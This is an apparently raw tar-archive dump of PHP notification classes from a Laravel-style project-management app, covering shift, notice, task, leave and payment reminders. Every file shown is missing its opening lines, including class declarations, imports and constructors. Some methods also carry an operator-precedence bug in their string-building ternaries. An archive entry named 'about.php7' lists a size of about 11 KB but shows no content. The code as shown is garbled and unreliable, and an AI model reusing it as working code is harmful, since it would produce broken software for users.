' . __('email.messages.loginForMoreDetails'); $build ->subject(__('email.invoiceReminder.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.invoiceReminder.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $notifiable->toArray(); } } Notifications/ShiftScheduled.php000064400000007070150325104510012764 0ustar00employeeShiftSchedule = $employeeShiftSchedule; $this->company = $this->employeeShiftSchedule->shift->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'shift-assign-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.shiftScheduled.subject') . ' : ' . $this->employeeShiftSchedule->date->toFormattedDateString(), $this->employeeShiftSchedule->shift->shift_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('dashboard'); $url = getDomainSpecificUrl($url, $this->company); $content = __('app.date') . ': ' . $this->employeeShiftSchedule->date->toFormattedDateString() . '
' . __('modules.attendance.shiftName') . ': ' . $this->employeeShiftSchedule->shift->shift_name . '
'; $build ->subject(__('email.shiftScheduled.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.loginDashboard'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } public function toArray() { return [ 'user_id' => $this->employeeShiftSchedule->user_id, 'shift_id' => $this->employeeShiftSchedule->employee_shift_id, 'date' => $this->employeeShiftSchedule->date ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.shiftScheduled.subject') . '!*' . "\n" . __('app.date') . ': ' . $this->employeeShiftSchedule->date->toFormattedDateString() . "\n" . __('modules.attendance.shiftName') . ': ' . $this->employeeShiftSchedule->shift->shift_name); } } Notifications/NoticeUpdate.php000064400000007114150325104510012451 0ustar00notice = $notice; $this->company = $this->notice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-notice-published')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.noticeUpdate.subject'), $this->notice->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('notices.show', $this->notice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.noticeUpdate.text') . '
' . $this->notice->heading; $build ->subject(__('email.noticeUpdate.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.noticeUpdate.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->notice->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.noticeUpdate.subject') . ' : ' . $this->notice->heading . '*' . "\n" . $this->notice->description); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.noticeUpdate.subject')) ->setBody($this->notice->heading); } } Notifications/about.php7000064400000026574150325104510011301 0ustar00Notifications/NewMentionChat.php000064400000007237150325104510012756 0ustar00userChat = $userChat; $this->emailSetting = EmailNotificationSetting::where('slug', 'message-notification')->first(); $this->company = $this->userChat->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && slack_setting()->status == 'active') { array_push($via, 'slack'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newChat.mentionSubject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name, strip_tags($this->userChat->message)); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $content = $this->userChat->message; $build ->subject(__('email.newChat.mentionSubject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name) ->markdown('mail.email', [ 'url' => route('messages.index'), 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newChat.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->userChat->id, 'user_one' => $this->userChat->user_one, 'from_name' => $this->userChat->fromUser->name, ]; } public function toSlack($notifiable) { $url = route('messages.index'); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('<' . $url . '|' . __('email.newChat.subject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name . '>'); } public function toOneSignal() { return OneSignalMessage::create() ->setSubject(__('email.newChat.mentionSubject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name) ->setBody($this->userChat->message) ->setUrl(route('messages.index')); } } Notifications/TestEmail.php000064400000002464150325104510011757 0ustar00subject(__('email.test.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'actionText' => __('email.notificationAction') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } } Notifications/TaskNoteClient.php000064400000007702150325104510012757 0ustar00task = $task; $this->created_at = $created_at; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskNote.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', [$this->task->id, 'view' => 'notes']); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.taskNote.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code . '
' . (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $build ->subject(__('email.taskNote.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskNote.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskNote.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskNote.subject')) ->setBody(__('email.taskNote.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code); } } Notifications/TaskNote.php000064400000010102150325104510011604 0ustar00task = $task; $this->created_at = $created_at; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'task-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskNote.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', [$this->task->id, 'view' => 'notes']); $url = getDomainSpecificUrl($url, $this->company); $projectName = (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $content = __('email.taskNote.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code . '
' . $projectName; $build ->subject(__('email.taskNote.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown( 'mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskNote.action'), 'notifiableName' => $notifiable->name ] ); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskNote.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskNote.subject')) ->setBody($this->task->heading . ' ' . __('email.taskNote.subject')); } } Notifications/EventStatusNote.php000064400000007246150325104510013206 0ustar00event = $event; $this->company = $this->event->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. */ public function toMail($notifiable) { $eventStatusNote = parent::build($notifiable); $vCalendar = new \Eluceo\iCal\Component\Calendar('www.example.com'); $vEvent = new \Eluceo\iCal\Component\Event(); $vEvent ->setDtStart(new \DateTime($this->event->start_date_time)) ->setDtEnd(new \DateTime($this->event->end_date_time)) ->setNoTime(true) ->setSummary($this->event->event_name); $vCalendar->addComponent($vEvent); $vFile = $vCalendar->render(); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEvent.eventCancelNote') . '

' . __('modules.events.eventName') . ': ' . $this->event->event_name . '
' . __('modules.events.startOn') . ': ' . $this->event->start_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('modules.events.endOn') . ': ' . $this->event->end_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format); $eventStatusNote->subject(__('email.newEvent.statusSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newEvent.action'), 'notifiableName' => $notifiable->name ]); return $eventStatusNote; } /** * Get the array representation of the notification. * * @return array */ public function toArray($notifiable) { return [ 'id' => $this->event->id, 'start_date_time' => $this->event->start_date_time->format('Y-m-d H:i:s'), 'event_name' => $this->event->event_name ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content("*" . __('email.newEvent.statusSubject') . "*" . "\n" . __('email.newEvent.eventCancelNote') . "\n" . __('modules.events.eventName') . ': ' . $this->event->event_name . "\n" . __('modules.events.startOn') . ': ' . $this->event->start_date_time->format($this->company->date_format . ' - ' . $this->company->time_format) . "\n" . __('modules.events.endOn') . ': ' . $this->event->end_date_time->format($this->company->date_format . ' - ' . $this->company->time_format)); } } Notifications/NewMultipleLeaveRequest.php000064400000010664150325104510014664 0ustar00leave = $leave; $this->multiDates = $multiDates; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = []; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.leaves.subject'). ' ' . __('app.from') . ' ' . $this->leave->user->name, $this->leave->leave_date->format($this->company->date_format) . ' ' . $this->leave->type->type_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->unique_id); $url = getDomainSpecificUrl($url, $this->company); $user = $notifiable; $dates = str_replace(',', ' to ', $this->multiDates);; $emailDate = ''; $emailDate .= $dates; $content = __('email.leaves.subject') . ' ' . __('app.from') . ' ' . $this->leave->user->name . '.' . '

' . __('modules.leaves.leaveType') . ': ' . $this->leave->type->type_name . '

' . __('modules.leaves.reason') . '

' . $this->leave->reason . '

' . __('app.leaveDate') . '

' . $emailDate . '

'; $build ->subject(__('email.leaves.subject') . ' - ' . config('app.name')) ->greeting(__('email.hello') . ' ' . $user->name . '!') ->markdown('mail.leaves.multiple', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->leave->id, 'user_id' => $this->leave->user->id, 'user' => $this->leave->user ]; } public function toSlack($notifiable) { $content = __('email.leaves.subject') . "\n" . $this->leave->user->name . "\n" . '*' . __('app.date') . '*: ' . $this->leave->leave_date->format($this->company->date_format) . "\n" . '*' . __('modules.leaves.leaveType') . '*: ' . $this->leave->type->type_name . "\n" . '*' . __('modules.leaves.reason') . '*' . "\n" . $this->leave->reason; return $this->slackBuild($notifiable)->content($content); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.leaves.subject')) ->setBody('by ' . $this->leave->user->name); } } Notifications/TaskCommentAdmin.php000064400000007744150325104510013274 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskComment.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', [$this->task->id, 'view' => 'comments']); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.taskComment.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code . '
' . (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $build ->subject(__('email.taskComment.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskComment.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'completed_on' => $this->task->completed_on->format('Y-m-d H:i:s') ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.taskComment.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskComment.subject')) ->setBody(__('email.taskComment.subject') . ' - ' . $this->task->heading . ' #' . $this->task->task_short_code); } } Notifications/NewProjectNote.php000064400000007534150325104510013001 0ustar00project = $project; $this->event = $event; $this->company = $this->project->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'employee-assign-to-project')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.projectNote.subject'), $this->project->project_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $url = route('projects.show', $this->project->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.projectNote.text') . ' - ' . $this->project->project_name . '
'; return parent::build($notifiable) ->subject(__('email.projectNote.subject') . ' - ' . config('app.name') . '.') ->markdown( 'mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.projectNote.action'), 'notifiableName' => $notifiable->name ] ); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->project->id, 'created_at' => $this->project->created_at->format('Y-m-d H:i:s'), 'heading' => $this->project->project_name, ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.projectNote.subject') . '*' . "\n" . __('email.projectNote.mentionText') . ' - ' . $this->project->project_name); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->subject(__('email.projectNote.subject')) ->body(ucfirst($this->project->project_name) . ' ' . __('email.projectNote.subject')); } } Notifications/TimeTrackerReminder.php000064400000005417150325104510013771 0ustar00company = $event->company; $this->event = $event; } /** * Get the notification's delivery channels. * * @return array */ public function via($notifiable) { $via = ['mail', 'database', OneSignalChannel::class]; if ($this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if (push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.trackerReminder.subject'), __('email.trackerReminder.text')); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.index') . '?assignedTo=' . $notifiable->id; $url = getDomainSpecificUrl($url, $this->company); $greeting = __('email.trackerReminder.dear') . ' ' . $notifiable->name . ',' . '
'; $content = $greeting . __('email.trackerReminder.text'); $build ->subject(__('email.trackerReminder.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.trackerReminder.action') ]); parent::resetLocale(); return $build; } public function toArray() { return [ 'id' => $this->event->id, ]; } public function toSlack($notifiable) // phpcs:ignore { return $this->slackBuild($notifiable) ->content('>*' . __('email.trackerReminder.subject') . '*' . "\n" . __('email.trackerReminder.text') . ' '); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.trackerReminder.subject')) ->setBody(__('email.trackerReminder.text')); } } Notifications/MailTicketReply.php000064400000004003150325104510013121 0ustar00ticketReply = $ticketReply; $this->ticketEmailSetting = $ticketEmailSetting; } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $previousReply = ModelsTicketReply::where('ticket_id', $this->ticketReply->ticket_id) ->whereNotNull('imap_message_id')->orderByDesc('id') ->first(); if ($this->ticketEmailSetting->status == 1) { $build->from($this->ticketEmailSetting->mail_from_email, $this->ticketEmailSetting->mail_from_name) ->subject($this->ticketReply->ticket->subject) ->view('emails.ticket.reply'); if (!is_null($previousReply) && !is_null($previousReply->imap_message_id)) { ModelsTicketReply::where('id', $this->ticketReply->id)->update(['imap_message_id' => $previousReply->imap_message_id]); } parent::resetLocale(); return $build; } parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/TaskCompleted.php000064400000011312150325104510012617 0ustar00task = $task; $this->completedBy = $completedBy; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'task-completed')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskComplete.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $projectTitle = (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $content = __('email.taskComplete.subject') . '
' . __('email.taskComplete.completedBy') . ': ' . $this->completedBy->name . '
' . __('app.task') . ': ' . $this->task->heading . '
' . $projectTitle; $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code : ' '; $build ->subject(__('email.taskComplete.subject') . $taskShortCode . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskComplete.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'completed_on' => (!is_null($this->task->completed_on)) ? $this->task->completed_on->format('Y-m-d H:i:s') : now()->format('Y-m-d H:i:s') ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.taskComplete.subject') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . ' #' . $this->task->task_short_code . (!is_null($this->task->project) ? "\n" . __('app.project') . ' - ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskComplete.subject')) ->setBody($this->task->heading . ' ' . __('email.taskComplete.subject') . ' #' . $this->task->task_short_code); } } Notifications/PaymentReminder.php000064400000011637150325104510013175 0ustar00invoice = $invoice; $this->company = $this->invoice->company; if ($invoice->project_id != null && $invoice->project_id != '') { $this->user = $invoice->project->client; } elseif ($invoice->client_id != null && $invoice->client_id != '') { $this->user = $invoice->client; } $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'payment-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.paymentReminder.subject'), $this->invoice->invoice_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); // For Sending pdf to email $invoiceController = new InvoiceController(); if ($pdfOption = $invoiceController->domPdfObjectForDownload($this->invoice->id)) { $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $build->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $url = url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), [$this->invoice->hash]); $paymentUrl = getDomainSpecificUrl($url, $this->company); $content = __('app.invoiceNumber') . ' : ' . $this->invoice->invoice_number . '

' . __('app.dueDate') . ' : ' . $this->invoice->due_date->format($this->company->date_format) . '

